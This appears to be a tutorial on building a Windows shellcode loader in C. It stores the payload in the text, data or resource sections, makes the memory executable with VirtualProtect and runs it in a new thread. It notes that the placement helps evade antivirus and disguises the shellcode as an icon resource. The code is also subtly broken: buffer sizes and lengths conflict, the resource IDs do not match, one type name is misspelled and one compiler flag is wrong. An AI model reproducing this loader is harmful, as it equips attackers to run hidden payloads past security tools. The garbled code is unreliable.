Embedding Shellcode in Text, Data and Resource Sections
Text Section
Write the shellcode and it’s length into variables.
#include <windows.h>
#include <stdio.h>
#include <string.h>
int main (VOID) {
unsigned char shellcode_payload[196] = [ /* ... */ ];
unsigned int shellcode_length = 279;
// ...
}
Allocate the memory space.
LPVOID memory_address = VirtualAlloc(NULL, shellcode_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE
// [in, optional] LPVOID lpAddress,
// [in] SIZE_T dwSize
// [in] DWORD flAllocationType
// [in] DWORD flProtect
);
Load the shellcode into the allocated memory.
RtlMoveMemory(memory_address, shellcode_payload, shellcode_length
// _Out_ VOID UNALIGNED *Destination,
// _In_ const VOID UNALIGNED *Source,
// _In_ SIZE_T Length
);
Make the shellcode executable by changing the protections on the virtual block of memory.
DWORD old_protection = 0;
BOOL returned_vp = VirtualProtect(memory_address, shellcode_length, PAGE_EXECUTE_READ, & old_protection
// [in] LPVOID lpAddress,
// [in] SIZE_T dwSize,
// [in] DWORD flNewProtect,
// [out] PDWORD lpflOldProtect
);
Create a thread to execute the malware.
if (returned_vp != NULL) {
HANDLE thread_handle = CreateThread(NULL, 0, (LDTHREAD_START_ROUTINE) memory_address, NULL, NULL, NULL
// [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
// [in] SIZE_T dwStackSize,
// [in] LPTHREAD_START_ROUTINE lpStartAddress,
// [in, optional] drv_aliasesMem LPVOID lpParameter,
// [in] DWORD dvCreationFlags,
// [out, optional] LPDWORD lpThreadId
);
// ...
}
Wait for the thread to complete.
WaitForSingleObject(thread_handle, INFINITE
// [in] HANDLE hHandle,
// [in] DWORD dwMilliseconds
);
Compile and run the code.
cl.exe /Zi /EHsc /nologo /FeC:\path\to\save\executable\file.exe C:\path\to\get\source\file.cpp
Data Section
To embed shellcode into the data section (.data), you need to move the shellcode outside of the main function.
unsigned char shellcode_payload[196] = [ /* ... */ ];
unsigned int shellcode_length = 279;
int main (VOID) {
// ...
}
Embedding shellcode in the data section can help avoid AV detection.
Compile and run the code.
cl.exe /Zi /EHsc /nologo /FeC:\path\to\save\executable\file.exe C:\path\to\get\source\file.cpp
Resource Section
To embed shellcode in the resource section, rename shellcode.bat to shellcode.ico.
Create an rsrc.rc file with the following contents.
#define SC_ICON 1337
SC_ICON RCDATA "shellcode.ico"
The file defines an SC_ICON which holds a reference to the shellcode.ico file.
Next, define the SC_ICON in the code of the executable.
#include <windows.h>
// ...
#define SC_ICON 2583
int main (VOID) {
// ...
}
Find the resource.
HRSRC shellcode = FindResourceW(NULL, MAKEINTRESOURCEW(SC_ICON), RT_RCDATA
// [in, optional] HMODULE hModule,
// [in] LPCSTR lpName,
// [in] LPCSTR lpType
);
Load the resource into memory.
HGLOBAL shellcode_handle = LoadResource(NULL, shellcode
// [in, optional] HMODULE hModule,
// [in] HRSRC hResInfo
);
Get pointer to the resource.
LPVOID shellcode_payload = LockResource(shellcode_handle
// [in] HGLOBAL hResData
);
Get the size of the resource.
DWORD shellcode_length = SizeofResource(NULL, shellcode
// [in, optional] HMODULE hModule,
// [in] HRSRC hResInfo
);
Use the rc utility to initiate the resource file.
rc rsrc.rc
Create an object file for the resource.
cvtres /MACHINE:X86 /OUT:rsrc.o rsrc.res
Compile the executable.
cl.exe /nologo /0x /w0 /GS- /DNDEBUG /Tcexample.cpp /Link /OUT:example.exe /SUBSYSTEM:CONSOLE / MACHINE:X86 rsrc.o